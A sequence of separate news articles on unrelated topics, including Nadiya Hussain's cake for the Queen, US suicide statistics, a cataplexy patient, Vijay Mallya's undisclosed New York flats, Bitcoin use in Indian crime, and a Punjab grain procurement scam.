Nadiya Hussain was bestowed with the greatest honour a Bake Off contestant has ever received after she was tasked with baking the Queen's 90th birthday cake.

But it now seems as though the ultimate star baker may be attempting to cash in on her triumphs as she is set to release a cookbook containing the recipe for the three-tiered gateau.

The mother-of-three's publicist confirms to MailOnline that her first book, Nadiya's Kitchen, is set for release this June (also the month in which Her Majesty celebrates her official birthday) and will include instructions for making the orange drizzle cake.

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Nadiya Hussain will release her first cook book on June 16 which will include the recipe for the Queen's birthday cake which she presented to Her Majesty yesterday

Nadiya's Kitchen will contain a variety of family-friendly recipes based on those she uses to feed her own three hungry children.

The Luton-born chef's simplified version of the royal cake appears alongside other tempting recipes such as Beetroot and Mackerel Crescents, Manchego and Chorizo Calzone and Salted Pretzel Fudge.

Speaking of her latest cookbook Nadiya, 31, says: 'My kitchen is so much more than a room. Its the place where so much more happens than just cooking or baking. Its the place where I cook for sustenance. Bake for love. Congregate for company.

Nadiya's kitchen contains over 100 family recipes inspired by her own approach to cooking

'Dance for fun. The exclusive venue for date night. Tea time and after school tantrums. The place where we cook together and everyones the boss. My kitchen is so much more than my kitchen. Its our kitchen.'

Nadiya took home the crown at the 2015 Great British Bake Off and while waiting for judgement from Paul Hollywood and Mary Berry was nerve-racking enough, it paled in comparison to the moment Her Majesty cut the cake to sample her recipe today.

Although The Queen opted not to take a bite, she commented on the beauty of the cake - before adding that it 'sounds delicious.'

However, the recipe and design failed to impress everyone.

The internet was left divided - with many observers insisting that they did not believe it was fit for a Queen and was 'too plain', 'amateurish' and 'like the Leaning Tower of Pisa'.

Posting on Twitter, Ruqaiya said: 'As much as I love Nadiya Hussain, I think the cake she made for the Queen looked very circus like.'

User @lolaslittleblog followed that up saying: 'Can't say I'm impressed with the cake Nadiya made the Queen,' before Amy Gullon added: 'Loved Nadiya on GBBO but good lord that cake for queenie was hideous.' (sic)

Others were impressed with the culinary creation, with Twitter users commenting that it was 'wonderful'

Andy Elliot added: 'Oh leave out the abuse of Nadiya Hussain. I struggle to not burn toast and she had to single-handedly bake a cake for the Queen.'

Although the Queen said the cake looked delicious not everyone was impressed with Nadiya's finished bake

The internet was left divided - with many observers insisting that they did not believe it was fit for a Queen and was 'too plain', 'amateurish' and 'like the Leaning Tower of Pisa'

Rebecca added that she felt bad for criticising the baking champion: 'Feel bad but I didn't really rate Nadiya' cake. Dunno. Looked sort of off can't decide why.'

Although she did compare The Queen and Mary Berry, who is culinary royalty in Britain, Nadiya admitted she chose her recipe, an orange drizzle cake, based on how much the judge liked one of her dishes in the competition.

She said: 'I kind of thought, if I did a lemon drizzle and it was good enough for Mary Berry, I reckon I could change it up and do something similar for the Queen.'

While some were quick to criticise the baker's efforts many took to Twitter to congratulate Nadiya on her triumphant bake

The Bake Off winner met Queen Elizabeth near Windsor Castle yesterday, as thousands lined the streets to celebrate the Royal on this historic day.

Nadiya, now a national treasure since winning the competition last year, shook Elizabeth II's hand as they met, and presented the majestic orange drizzle cake with orange curd, orange buttercream and fondant.

Before cutting the cake, the Queen had chatted briefly to Nadiya by the gold and purple cake - both Royal colours regularly worn by Elizabeth II - and joked 'does it cut?', to which the baker replied 'I hope so'.

It was a light-hearted moment between the two, but Nadiya has since revealed that despite her apparent confidence, she was actually 'super-nervous'.

She told ITV News: 'She said, "will it cut?" I said "yeah it will cut," thinking "oh God, it better cut".'

However, Twitter users have speculated as to whether the star baker used eggs from caged hens after she shared this photo of her ingredients

As well as criticism over the appearance of the cake Nadiya also came under fire for the ingredients that she appeared to have used.

Fans speculated that the 31-year-old baker used eggs from caged hens in her orange drizzle cake for the Queen.

The mother-of-three shared a photo of her ingredients used in the cake this morning on her Twitter page commenting: 'I found the eggs under the reminiscence of what is her HRH cake. I see crepe suzette #HappyBirthdayYourMajesty.'

In the picture a large clear plastic box of a dozen eggs can be seen and it was the packaging that concerned many.

Jalal Ahmed replied to the tweet asking: 'Do you use free range eggs in your cooking? I ask free range eggs usually don't come in that packaging.'

Bob joined the speculation adding: 'Hope those are free range Nadiya...' Amy Elizabeth replied to Bob's tweet: 'They definitely aren't! How awful!!'

However, hopeful Bob added: 'I'm hoping against hope that Nadiya gets them from a special egg supplier who puts them in non-free range style packaging...'

Several users did come forward to defend Nadiya claiming that free range eggs were available in that packaging.

Nazneen jumped to her defense adding: 'actually asda sell the larger box of free range eggs in this packaging so for all those worried. They are free range.'

Hookawooly tweeted to say they thought there had been an overreaction: 'I get free range eggs in clear plastic recycled boxes. People need to chill their self-righteous beans.'
America is facing a 'suicide epidemic' with rates hitting a 30 year high, it has been revealed.

From 1999 to 2014, suicide rates have been rising approximately 1 to 2 percent every year, according to the report by the National Center for Health Statistics at the CDC.

The suicide rate went up 24 percent between 1999 and 2014, from 10.5 per 100,000 people to 13 per 1000,000 people, according to the CDC.

From 1999 to 2014, suicide rates have been rising approximately 1 to 2 percent every year, according to the report by the National Center for Health Statistics at the CDC.

SUICIDE FACTS There were nearly 43,000 U.S. suicides in 2014. The suicide rate went up 24 percent between 1999 and 2014, from 10.5 per 100,000 people to 13 per 1000,000 people, according to the CDC. More than 14,000 of them were middle-aged whites  twice the combined total for all blacks, Hispanics, Asians, Pacific Islanders, American Indians, and Alaska Natives. But most striking in the new report is the growth in whites ages 45 to 64. They were a third of suicide deaths in 2014, up from about a quarter in 1999. Advertisement

'We don't know why. We would like to know why,' Jane Pearson, chair of the Suicide Research Consortium at National Institute of Mental Health, told ABC News. 'Knowing it's going up, we are concerned, but we are not surprised because we have seen this trend happening.'

The data also reveals a shift in those committing suicide.

Middle-aged white people now account for a third of all suicides in the U.S., a new government report shows.

Suicide is the nation's 10th leading cause of death, and the overall rate rose 24 percent in 15 years, according to the report from the Centers for Disease Control and Prevention.

Suicides have long been most common among white people  particularly older white males.

But most striking in the new report is the growth in whites ages 45 to 64.

They were a third of suicide deaths in 2014, up from about a quarter in 1999.

'The findings in this report are extremely concerning,' said Nadine Kaslow, an Emory University researcher and past president of the American Psychological Association.

The CDC data  released Friday  provides a detailed look at the latest year's suicide statistics, and a broader look at how much the situation has changed over 15 years.

There were nearly 43,000 U.S. suicides in 2014.

More than 14,000 of them were middle-aged whites  twice the combined total for all blacks, Hispanics, Asians, Pacific Islanders, American Indians, and Alaska Natives.

In other terms  a group that represents 18 percent of the U.S. population accounted for 33 percent of the suicides.

The CDC also reported striking increases in suicide rates in adult American Indians and Alaska Natives, although the number of those suicide deaths is much smaller.

The report doesn't try to answer why certain trends are occurring.

Suicides have long been most common among white people  particularly older white males. But most striking in the new report is the growth in whites ages 45 to 64.

Other experts have speculated that middle age can be a particularly hard time for whites, who  compared to some other racial and ethnic groups  commonly don't have as many supportive relationships with friends, family, or religious communities,

Money was a factor, too, they say.

The economy was in recession from the end of 2007 until mid-2009. Even well afterward, polls showed most Americans remained worried about weak hiring, a depressed housing market and other problems.

White people, in particular, seem to expect financial comfort and happiness by middle age  and have difficulty coping when things get worse instead of better, Emory's Kaslow said.

In a report earlier this week, the CDC found that life expectancy for white women  and for white people as a whole  declined slightly in 2014. Some experts have said a combination of factors may be the reason, including more drug overdoses and suicides.

For confidential support in the U.S., call the National Suicide Prevention Line on 1-800-273-8255.
Soyla Echeverria, from Australia, suffers from a condition called Cataplexy

A slamming door has little consequence for most people, other than making them jump.

But Soyla Echeverria, 28, falls to the floor up to 25 times a day and can be paralysed for up to five hours - whenever she hears a loud noise.

The patisserie chef suffers with a rare condition called Cataplexy, which causes random muscle weakness, triggered by strong emotions and sudden sounds.

In the past, she's fallen onto a tram track when a police siren sounded and became trapped in the giant freezer at work when a plate smashed.

Thankfully, both times she escaped unharmed.

But she constantly worries that next time she won't be as lucky.

'The fear that something is going to happen to me is constantly there,' she said.

'I could collapse in the middle of the street and get hit by a car. Anything could happen.'

Miss Echeverria, from Melbourne, Australia, realised something was wrong aged 16, when she started falling over whenever she heard a loud sound.

A door slamming, a glass dropping or even a car horn would leave her on the floor, paralysed.

But it took three years for an official diagnosis of Cataplexy to be made.

When I collapse everyone calls an ambulance.They think I've had a cardiac arrest Soyla Echeverria

Until then, friends and family doubted Miss Echeverria's complaints, with some believing it was a cry for attention, rather than a medical condition.

She was even made to see a counsellor.

'I tried to tell people that it was something real and that I really did have something wrong with me,' she said.

'I felt a bit ridiculous and kept thinking, 'Why am I falling over all the time? Am I just a bit clumsy?' It just didn't feel right, yet people didn't take me seriously.'

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The patisserie chef, 28, loses consciousness when she experiences strong emotions or hears loud noises

For years friends and family doubted her complaints, with some believing it was a desperate cry for attention

When she was 17, things took a turn for the worst and Miss Echeverria ended up in hospital after the a police siren sent her crashing onto tram tracks.

'I remember the police car going by, hearing an extra loud sound and then I just fell right onto the tracks and couldn't move,' she recalled.

WHAT IS CATAPLEXY? Cataplexy is sudden, temporary muscle weakness or loss of muscular control. Typical symptoms are: - the jaw dropping - the head slumping down - legs collapsing uncontrollably - slurred speech - double vision Attacks are usually triggered by an emotion, such as excitement, laughter or anger. Attacks can last from a few seconds to several minutes. Some people with narcolepsy have cataplexy attacks once or twice a year, while others experience them several times a day. Source: NHS Direct Advertisement

'The police saw what happened and I was taken to hospital, but the paralysis lasted for four hours.

'I didn't know what had happened and had no idea how to control it.'

The Cataplexy soon became so bad for Miss Echeverria that it was happening every day.

Once diagnosed after entering into a sleep programme aged 19, teachers and employers were warned that Miss Echeverria could collapse at any moment.

'When I collapse everyone just freezes, panics and calls an ambulance. They think I have had a cardiac arrest,' she said.

In recent months, Miss Echeverria has been given medication, which has made the condition more manageable.

She used to collapse 25 times a day, but that number is now down to 10-15 times.

She scours every place she goes for a soft landing surface in case she falls, and has to have a friend or family member who understands her condition chaperone her.
A couple whose newborn baby miraculously survived after being resuscitated during a 'chaotic' birth have won compensation - for the trauma they endured.

Jake Insall, now five, needed immediate resuscitation after he was born pale and limp following a water birth in 2011.

His mother Cathy, 45, and father Russell, 44, watched in horror as he suffered seizures and cardiac arrests and had to be brought back to life by medics.

They claim all care was withdrawn so he could pass away in their arms - but he pulled through during the night and went on to make a full recovery.

Cathy Insall, 45, and Russell, 44, watched in horror as their son, Jake, suffered seizures and cardiac arrests and had to be brought back to life by medics following his birth in 2011

Jake has not yet shown any signs of injury but his parents instructed solicitors to investigate the care they received at Musgrove Park Hospital in Taunton, Somerset.

Taunton and Somerset NHS Foundation Trust denied liability but agreed to a settlement after an investigation identified several failures.

The couple have now received an undisclosed five-figure sum for the pain and suffering they endured during the birth and the anxiety they have suffered since.

Some of the money will be spent on therapy to help them recover from their ordeal.

Mother-of-three Mrs Insall, from Bridgwater, Somerset, said her husband was particularly traumatised by the experience.

She said: 'Id already had two children so I know what a normal birth is like.

'The pain [with Jake] in the last 10 to 15 minutes was excruciating and far more severe than expected in childbirth.

'The pain in the last 10 to 15 minutes was excruciating and far more severe than expected in childbirth. But the midwife didnt take any notice of this. Cathy Insall, 45

'The birth and resuscitation was a real life nightmare and it was chaotic. We thought wed lost him.

'We had resigned ourselves to the fact that he was going to die overnight.'

Mrs Insall, who also has daughters Lily, 15, and Ella, 12, gave birth at the Bracken Birthing Centre, on January 15, 2011.

They claim the midwife had difficulty locating Jakes heartbeat in the last stage of labour and was was not expecting him to be born in such a poor condition.

There were no paediatricians present at the birth and the resuscitation Jake received was affected, lawyers said.

Mrs Insall, a charity fundraising administrator, was also left unattended in the birthing pool covered in blood, it is claimed.

Jake suffered seizures and cardiac arrests and later underwent brain cooling treatment and was connected to a ventilator, they said.

But after suffering further cardiac arrests, it was agreed to let Jake pass away because it was not thought he would survive the night, and if he did, it was highly likely he would have a very serious brain injury, his family claim.

Jake wasn't expected to survive the night, but he has defied expectations and hasn't yet shown signs of injury

Survivor Jake, five, pictured at home with his two elder sisters - Lily, 15, and Ella, 12 in Somerset

Mr and Mrs Insall were left to let Jake pass away quietly in their arms - but he miraculously pulled through the night and got better.

Jakes birth had a massive impact on the family, particularly on Mr Insall. We should not underestimate the impact that traumatic births can have on fathers as well as the mothers Julie Lewis, Solicitor

A serious untoward incident report by the hospital found the resuscitation was chaotic and ineffective, emergency call processes were not correctly followed and the note keeping was poor.

Both Mr and Mrs Insall say have suffered psychologically since the birth and have become hyper-vigilant about Jakes health and wellbeing.

Julie Lewis, a specialist medical negligence lawyer at Irwin Mitchell said the settlement will help pay for therapy.

She said the traumatic birth had a 'massive impact' on the family, particularly Mr Insall.

The note-keeping was very poor and the resuscitation itself was described as 'chaotic and ineffective' with the emergency processes not being followed correctly, she said.

'The family is just happy to have Jake at home but it could have been very different. Its now crucial that the NHS Trust learns from its failures in this case to reduce the risk of similar traumatic births in future.

'Its also really disappointing that the NHS Litigation Authority did not admit liability for the errors immediately despite the NHS Trusts report highlighting failures during the birth.

'Its meant the legal battle has been much longer than it needed to be for Cathy and Russell.'

A trust spokesman said: 'We are pleased that Jake is doing well given his miraculous start to life. There is always a risk of complications with any birth and our staff work hard to assess these risks and respond accordingly when things do not go as planned, or unforeseen complications arise.

'We understand that actions taken in times of an emergency can be distressing for a family to witnesses but our priority at these times has to be in saving a life wherever possible, or supporting a family to make tough decisions if they feel there is no further care they can give.

'Our staff deal with situations such as this regularly right across the hospital and will always do their best to support the families involved.

'We understand that the legal process can seem lengthy. The settlement was only possible after both parties had been able to narrow down issues of contention to arrive at an appropriate level of compensation that was acceptable to both parties.
From Modigliani to Hockney, art has long been admired for its contribution to culture.

But researchers are now claiming that a creative's craft can also be beneficial to our physical and mental health.

Experts recently studied 100 people during a visit to the monumental Basilica of Vicoforte in northern Italy's Cuneo - with surprising results.

Experts recently studied one hundred people during a two-hour visit to the monumental Basilica of Vicoforte in the northern Italian city of Cuneo - with surprising results

Prior to entering the 18th century church, participants had their saliva tested for presence of the stress hormone cortisol.

The volunteers - men and women of different ages and with varying IQ levels - climbed 200 ft to the apex of the building as part of their two-hour experience.

The ascent included more than two-hundred steps, no less.

Then, following their tour of the building - which is famed for its elliptical cupola, the world's largest - the test was performed again.

The results seemed to substantiate the long-held belief that art can have an ameliorative effect.

Professor Enzo Grossi, who studies the relationship between culture and physical health, told La Repubblica newspaper: 'On average, we found that cortisol levels dropped by 60 per cent.

Previously, the 'health' benefits of Renaissance art was dubbed Stendhal Syndrome, named after the 19th-century French author Stendhal who had a near-religious experience when viewing art in Florence in 1817

The latest results seemed to substantiate the long-held belief that art can have an ameliorative effect

The idea of art as therapy is not new. But this is the first time the beneficial effect on health has been measured Professor Enzo Grossi

'More than 90 per cent of the participants said they felt much better at the end of the experience.

'The idea of art as therapy is not new. But this is the first time that the beneficial effect of art on health has been measured.'

Previously, the so-called health benefits of Renaissance art was dubbed Stendhal Syndrome, named after the 19th-century French author Stendhal who had a near-religious experience when viewing art in Florence in 1817.
Bastille Day

'My stare's better than your stare...'

Idris Elba's already been tipped as a frontrunner for the next Bond, and he shows off his action credentials here to good effect in James Watkins' fast and furious thriller.

When petty thief Michael (Game of Thrones' Richard Madden) steals and later dumps a handbag on the streets of France, he gets rather more than he bargained for...as the cuddly toy inside turns out to be a bomb.

Suddenly, he finds himself the country's most wanted man, with agent Sean Briar (Elba) hot on his heels. Now Michael faces a race against time to clear his name and persuade Briar to find the real culprits - but just how high up does the conspiracy go?

Punchy, pacy and action-packed (no contrived romantic sub-plots here), Bastille Day is a refreshingly short film at just 92 minutes, enabling it to sustain a high level of tension throughout.

Idris is great as the maverick agent with attitude - not dissimilar to his anti-hero in Luther - while Madden proves post-Cinderella that he's more than just a pretty face. The cast also includes rising star Charlotte Le Bon, who stole the show in last year's high-wire adventure The Walk, and would make my list of ones to watch in 2016.

Overall, this is the very definition of easy watching, despite being let down by a disappointingly silly final third. It might not make my all-time action hall of fame...but I definitely wouldn't discount Idris as a future 007.





Jane Got a Gun

In an age of endless remakes and sequels, it's always a relief to see something a little different, as Gavin O'Connor's Western love-triangle hybrid hits the big screen.

When wife and mother Jane (Natalie Portman) and her husband Bill (Noah Emmerich) find themselves hunted down by a bitter outlaw, she reluctantly seeks protection from the only other person she trusts: her ex-boyfriend Dan (Joel Edgerton). Together the unlikely trio have to find a way to take down vengeful John Bishop (Ewan McGregor) and his motley crew, whose paths they have crossed in the past. Can they work together to defeat their enemy - or will the war for Jane's heart get in the way?

Blending romance, drama and action, this is a simmering slow-burner, gradually unveiling the characters' stories through a series of interspersed flashbacks. It's not all bar brawls and shoot-em-ups - it's subtler than that - but it has just enough twists to keep your interest for 98 minutes.

As you'd expect from the versatile Oscar winner, Portman is excellent in the central role, displaying both an innate steel and a heartbreakingly sensitive side. Edgerton is very watchable here too, playing the role of rugged cowboy to gun-slingingly good effect, though McGregor is rather less convincing as a menacing mercenary.

Ultimately, it's hard to say how much demand there'll be for a romantic Western, and I suspect this may not set the box office ablaze. But that would be a shame, because it's not a bad movie by any means - and it's certainly one of the more original efforts to have graced the cinema this year.
AAP MLA Alka Lamba has been summoned by a Delhi court for allegedly vandalising shops owned by BJP MLA OP Sharmas brother

AAP MLA Alka Lamba has been summoned by a Delhi court for allegedly vandalising shops owned by BJP MLA OP Sharmas brother, and preventing police personnel from performing their duties at the Kashmere Gate.

Metropolitan Magisterate, Abhilash Malhotra on Thursday took cognisance of the charge-sheet filed by the police against the MLA, and summoned her to court on May 18.

Lamba has been booked under Sections 186 (obstructing public servant in discharge of public functions), 353 (assault or criminal force to deter public servant from discharge of his duty), 427 (Mischief causing damage to the amount), 451 (House-trespass in order to commit offence punishable with imprisonment), 34 (Acts done by several persons in furtherance of common intention) of the IPC.

The police in its charge-sheet mentioned that on August 9, 2015, Alka Lamba along with her supporters gathered near Hanuman Temple and tried to create nuisance and threatened shopkeepers to shut their shops.
Drinks baron Vijay Mallya failed to disclose three big-ticket apartments he owns in New Yorks iconic Trump Plaza on his annual affidavit

Debt-laden drinks baron Vijay Mallya has failed to disclose three big-ticket apartments he owns in New Yorks iconic Trump Plaza.

The beleaguered tycoon, who is wanted in India for unpaid loans worth Rs 9,000 crore, bought two of the flats jointly with his daughter but the third is solely in his name.

High-level sources in the Enforcement Directorate (ED) confirmed to India Today that the agency is scrutinising these New York City apartments, which Mallya withheld during Parliament affidavits.

Owning a property abroad is not a crime. But all MPs are required to file an annual affidavit, submitting a full list of their assets.

The hard-partying businessman, who flew to London last month amid a raging battle with creditors, told the Supreme Court on Thursday that banks have no right to details of the properties he owns overseas.

India Today has inspected Mallyas affidavits in Parliament from 2010 to 2014.

In none of them has he disclosed that he owns three luxury flats in the heart of New Yorks Manhattan.

ED sources say they are investigating whether Mallya used money loaned by state-owned banks to buy these apartments, though the erstwhile King of Good Times has denied using funds borrowed from public sector banks (PSBs) to purchase real estate abroad.

All three flats are located at the tower owned by Donald Trump, the Republican front-runner nominee for this years US Presidential elections.

According to documents accessed by India Today from the office of the city register at NYCs department of finance, Mallya bought for Rs 6.3 crore his first flat at the Trump Plaza on March 3, 2010.

The address in the records is 39-D, 167 East 61st Street. The ownership of this super luxury flat is in the name of Vijay Mallya as the natural guardian and Tanya Mallya, who was a minor at the time.

Two months later, on May 19, 2010, he bought another flat, this time a penthouse, at the same address.

Once again, Vijay Mallya is listed in the New York City records as the owner and natural guardian, and Tanya Mallya is shown as the co-owner.

The address listed is PHE, 167 East 61st Street. This penthouse cost him Rs 15.9 crore. Mallya bought his third apartment at the Trump Plaza on September 16 the same year for Rs 7.9 crore.

This property is solely in his name and the address in the public records is 38 PHA, 167 East 61st Street.

The combined value of the flats at the time of purchase was Rs 30.1 crore.

On June 4, 2010, Mallya submitted an affidavit when he was appointed a member of the Rajya Sabha with the support of the Janta Dal (Secular) and BJP.

As required by parliamentary procedures, he updated this affidavit every year, with the most recent one being submitted in 2014.

In these legal declarations, he laid out all his movable and immovable assets.

Mallya listed his stake in United Breweries, Kingfisher Airlines, United Spirits, McDowell Holdings and a host of other investments valued at Rs 591 crore.

He also declared the value of the estates in his name, a total of Rs 14 crore.

However, he wrote Nil in the column where he was required to disclose the houses and apartments owned by him and his dependents.

Mallya had bought only one of the three properties at the time he filed the first affidavit.

He had multiple opportunities subsequently to disclose the ownership of the apartments, but failed to do so.

The ED has told the courts that its investigation shows the flamboyant businessman bought foreign assets by misusing loans taken from state-owned banks.

That is a charge the agency needs to prove. What cannot be disputed though is that Mallya owns properties overseas, which he failed to disclose as an MP.

A Mumbai special court this week issued a non-bailable warrant against him that can be executed if authorities force his return through deportation or extradition.
The digital currency Bitcoin is on the radar of Indias security and intelligence agencies with sex syndicates, arms and drugs traders and even terrorist groups preferring it to cash.

The Centre has asked authorities to keep a close watch on the maverick payment tool with near anonymity built into its system making it ideal for criminals.

The cryptocurrency allows illegal operations with the speed of the internet, but with the secrecy of a cash deal.

The home ministry has taken up the security issue with the finance ministry and RBI: in a secret communication it said the currency is being used for crimes, including drug trafficking, illegal arms trade and prostitution in India

Bitcoin, heralded as a new way to conduct a broad array of financial transactions, costs about Rs 29,000 apiece but the price fluctuates every day.

The home ministry has taken up the security issue with the finance ministry and RBI: in a secret communication it said the currency is being used for crimes, including drug trafficking, illegal arms trade and prostitution in India.

According to experts, Bitcoin and the dark web - where sites are hidden from search engines like Google - form a deadly cocktail as it is very tough to trace a user carrying out transactions through specific software.

Bitcoin was introduced to the public in 2008 but due to its features it is now majorly used in criminal activities, said Pawan Duggal, who advises organisations on cyber laws.

It became more dangerous when users started using it through the darknet, which can only be accessed by specialised software.

While every Bitcoin transaction is public, the parties involved are kept anonymous as addresses can be created without providing any personal information.

The virtual currency has also been used before in ransomware - a type of malware that restricts computer access unless a ransom is paid.

Close watch

We need a close watch on the use of the Bitcoin currency in financial transactions because Bitcoin as the currency of the underground internet is also being used in drug trafficking, illegal arms trade and prostitution. There is a need to have effective regulations regarding the use of Bitcoin. The MHA will take up the matter with ministry of finance and Reserve Bank of India, said a government note sent to various intelligence units that was accessed by Mail Today.

The virtual currency has also been used before in ransomware - a type of malware that restricts computer access unless a ransom is paid

According to a senior Delhi Police officer in the economic offences wing, Bitcoin is fast becoming the preferred choice in illegal transactions.

Bitcoin currency transactions need monitoring as this method of sending money to any part of the world is being used by criminal syndicates, including organised prostitution, involving fat deals, he said.

It has been noticed that people involved in prostitution are sending money from abroad through Bitcoin to various parts of Mumbai, Delhi, etc.

Though in India companies seek PAN card details for such transactions, the process is not fool-proof, say experts.

One way of bypassing the check is to download a particular software and use it through a hidden network that cannot be traced.

Bengaluru Police recently found a trail of Bitcoins used to buy drugs from a dark site.

Investigators said three students purchased banned Ecstasy pills from a website, which were delivered by courier.
The spat between India and China over sanctions on Jaish-e-Mohammad chief Masood Azhar may deepen with Beijing declaring its expectation for India to bring to justice a Chinese Uyghur exile deemed a terrorist.

The Chinese Foreign Ministry told Mail Today in a statement that Dolkun Isa, a leader of the exiled group World Uyghur Congress (WUC), who is among several Chinese exiles and dissidents invited to take part in an April 28 conference in Dharamsala, is a terrorist and that it is a due obligation of all countries to bring him to justice.

This follows reports that India has issued a visa for Isa to enable him to attend the conference, which is being organised by a United States-based organisation called Initiatives for China.

Dolkun Isa a Chinese Uyghur exile deemed a 'terrorist' has been invited to take part in a conference in Dharamsala

It is a pro-democracy group, whose president Yang Jianli was among the student protesters at Tiananmen Square in 1989.

The meeting is expected to bring together Uyghurs, Tibetans and other dissidents and exiles, under the theme of discussing democratic transformation in China.

The visit of the Uyghur exile is set to create fresh strains in wake of both the sides already grappling with the Masood Azhar issue.

While Dolkun Isa has not yet confirmed his attendance, reports in India say that he has been issued a visa.

This move can in no way be supported by Beijing, which has called on countries to arrest Isa and has blamed him for organising terrorist activities in the Muslim-majority western Xinjiang region, home to the Uyghurs, who are one of the 55 minorities in China.

Isa was in 2009 barred from entering South Korea after appearing on a terrorist blacklist.

At the time, Chinese State media reports said he was wanted by the Ministry of Public Security for bombings in Toksu, in Xinjiang, in the 1990s.

Isa left China in 1997 and was granted asylum in Germany, where he has been living ever since.

China has accused Isas World Uyghur Congress for fomenting violence in Xinjiang, most notably in 2009, when mass riots claimed at least 197 lives.

The WUC has rejected the charges, saying it is working to highlight repression faced by Uyghur minorities.

On the Dharamsala meeting, the Foreign Ministry spokesperson in Beijing said in the statement to Mail Today, I am not aware of the situation.

The statement added: What I want to point out is that Dolkun Isa is a terrorist on the red notice of Interpol and the Chinese police. Bringing him to justice is a due obligation of relevant countries.

This comes in the wake of National Security Adviser Ajit Dovals talks in Beijing on the Azhar issue, with both sides taking up the discussion on how to better align their counter-terrorism strategies amid recent differences.

National Security Advisor Ajit Doval meets Chinese Premier Li Keqiang after attending the 19th round of boundary talks in Beijing

Doval told Mail Today on Thursday - before departing for New Delhi - both sides spoke on counter-terrorism and other common strategic issues in the 19th round of border talks.

The Azhar issue figured as part of those discussions on counter-terror.

Doval raising the issue has underlined Indias strong stand on Chinas move at the UN 1267 sanctions committee to place a technical hold on its application to list Azhar.

External Affairs Minister Sushma Swaraj hit out at the double standards on terrorism at Mondays Russia-India-China meeting in Moscow and also expressed Indias strong concerns to her Chinese counterpart Wang Yi.

Defence Minister Manohar Parrikar, who was also in Beijing, had raised the issue in the meetings with the PLA leadership.

On Thursday, Doval met with Chinese Premier Li Keqiang at the Zhongnanhai central leadership compound in Beijing, where the Communist Party leadership usually hosts top visiting leaders.

He said that India was looking forward to President Pranab Mukherjee visit to China next month.
The AAP government accused the BJP of hatching a conspiracy to sabotage its odd-even 2.0 initiative.

The sight of continuous smoke billowing out from the Bhalswa landfill in north-west Delhi has caused concern.

Delhi Transport Minister Gopal Rai alleged that back-to-back series of incidents such as auto strike, increasing volume of traffic and fire at various landfill sites shows how attempts are being made to fail the odd-even plan.

Smoke billows from garbage at Bhalswa landfill site, where a fire has been burning for the past few days

Since the odd-even scheme came into place, we have noticed that traffic congestion has suddenly increased on roads. Thereafter, some auto unions had called a strike and now landfill sites and forest area near Rajghat have caught fire, Gopal Rai said without taking the name of BJP said.

Delhi government has set up a committee to enquire the fire incidents and it has been asked to submit reports in three days.

AAP supporters started an online campaign on social media site #BJPPollutesDelhi as Delhis landfills are managed by the BJP-run municipal corporations.

Mail Today earlier this week reported that citys largest landfill - Bhalswa in northwest Delhi - has been on fire for a week, threatening to offset any gains from the globally-praised road rationing scheme.

Even AAP accused the BJPcontrolled civic body of not taking adequate steps to douse the fire at the landfill site.

The landfill sites are under the control of the BJP controlled MCDs. We think that the fire was triggered with the intention to fail the odd-even scheme. They are aware that if the odd-even scheme fail, it will reflect badly on the Delhi government There have been fires occurring at the landfill sites of Delhi but todays one is bigger than normal, AAPs Delhi secretary Saurabh Bharadwaj said.

The Delhi Pollution Control Committee (DPCC) said that similar instances of fire were seen during inspections in May last year and in January and March this year.

The The Delhi government may also file FIR against the North and East civic bodies for garbage burning at the Ghazipur and Bhalswa landfill sites amid concerns that the toxic fumes may offset any gains from the odd-even scheme.

Taking the stock of situation, Delhi environment minister Imran Husain on Thursday visited the area amid the allegations.

He has informed that 15 fire tenders will remain stationed at the landfill site to check any instance of fire.
Ignoring the fact that 194.6 million Indians are under-nourished (15 percent of the population) and a sizeable chunk of poor people survive by eating rotis, Punjabs foodgrain procurement agencies are busy kicking hungry Indians in the stomach through the siphoning-off of funds.

While the state government has been wilfully diverting the funds meant for procurement of grains from farmers, the officials of procurement agencies, such as Punjab Agro Industries Corporation Limited (PAIC), have been physically destroying the stocks to cover up their misdeeds.

As an example, PAIC inspector, Ikbal Singh Brar, was caught red-handed on camera pouring water on bags of wheat in Ajnala, Amritsar, last month.

Corrupt employees are reportedly replacing the government stock with rotten wheat and illegally selling the food grains procured by the farmers.

All this was done to increase the weight of the wheat, so that the extra stocks procured from the farmers can be illegally sold on the black market.

The corrupt employees either make the wheat wet or replace the stock with rotten stock.

In the dock for siphoning off over Rs 12,000 crore - the money meant to procure the grains - the Punjab government has confessed that it diverted nearly Rs 900 crore from the procurement money.

This was admitted by none other than the states Minister for Food and Civil Supplies, Adesh Partap Kairon, the son-in-law of Chief Minister Parkash Singh Badal.

He said that the money was diverted to feed Badals ambitious Atta-Dal scheme under which free pulses and wheat flour was distributed to the poor.

Former Punjab leader of the opposition and senior Congress leader Sunil Jakhar, who has registered a criminal complaint against the government for alleged food grain scam, says that the scam has been operational for the last six years.

The scam is committed in three ways. One-by theft of the procured stock.The corrupt officials and officers sell the stocks illegally and try to complete it by putting water on stored wheat stock. At times the stocks are knowingly left uncovered, letting the rain gods add more weight to the stocked wheat. Misappropriation of funds meant to procure the stocks from farmers is the second method which plagues the system."

"The farmers are committing suicide as they do not get timely payments from the government. They raise loans from illegal moneylenders. The procurement agencies also commit various frauds in the name of transportation and other charges, says Sunil Jakhar.

As the issue of Rs 12,000 crore food grain scam has now assumed political significance, the party in Opposition, the Congress, in order to exploit the issue in the forthcoming assembly elections, has constituted a high-level committee of senior leaders to monitor the wheat procurement process in the state.

The committee will monitor the procurement process in over 500 mandis (procurement centres) across the state.

This will be followed up with review meetings about the procurement in all the 117 assembly segments.

Captain Amarinder Singh says that the food grain scam may just be the proverbial tip of an iceberg as the Akali-BJP government has survived only on deceit and fraud over the last nine years.

Whats evident is that the state government has either raised the loans against non-existing stocks, or it has not bought the stocks after raising the loans from the banks and diverted and embezzled all this money, observed Captain Amrinder, while adding that this is a fit case of cheating, fraud and embezzlement.

According to the former Punjab CM, this is the reason why the farmers were not getting their due payment on time even after their produce is taken away by the states purchasing agencies.

The ruling Shiromani Akali Dal (SAD) has categorically said that not a single grain of food stock was missing and all stock had been monitored and found in order by relevant agencies.

State's growing suicide problem

Punjab is slowly turning into a graveyard for the farmers.

According to a joint study conducted by Punjab University, Guru Nanak Dev University and Punjab Agriculture University, more than 10,000 farmers have committed suicide in the past 15 years.

While 4,686 farmers who died between 2000-2011 had consumed poison, 2,240 farmers died of other reasons including drug addiction.

Since the 1980s, Punjab has lost its economic leadership among states, and steadily slipped behind other states.

One of the biggest reasons why Punjabs farmers have became paupers, is that there are no takers for surplus wheat and rice now.

